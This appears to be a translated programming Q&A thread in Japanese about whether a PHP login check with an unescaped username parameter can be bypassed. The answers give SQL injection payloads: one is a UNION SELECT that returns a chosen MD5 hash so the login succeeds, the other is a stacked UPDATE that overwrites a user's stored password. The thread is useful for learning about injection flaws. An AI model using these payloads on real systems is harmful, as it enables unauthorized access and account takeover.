3

私は最近、次のようなことを考えました。

$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);

if (myql_num_rows($result) != 1) {
//Error
}

$data = mysql_fetch_array($result);

if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}

パラメーター化されたクエリや少なくともエスケープは使用されていませんが、Welcomeポイントに到達できる適切な SQL インジェクションは思いつきませんでした。返されたパスワードを変更する必要があり、その md5 値をパスワードとして使用できます。

これが可能であれば、何かアイデアはありますか?

4

2 に答える 2

8

ユーザーには次の値を使用します。

obviouslyinvalidusername' union select MD5('password123') as password --

次に、のパスワードでpassword123認証する必要があります。ロジックのその部分が表示されていないため、この時点でログインしているユーザー アカウントはわかりません。

于 2013-01-10T14:51:27.573 に答える
0
"'; UPDATE user SET password=MD5('fakepass') where username='username'"

これにより、任意のパスワードが md5 ハッシュとしてデータベースに挿入されます。

于 2013-01-10T14:46:32.203 に答える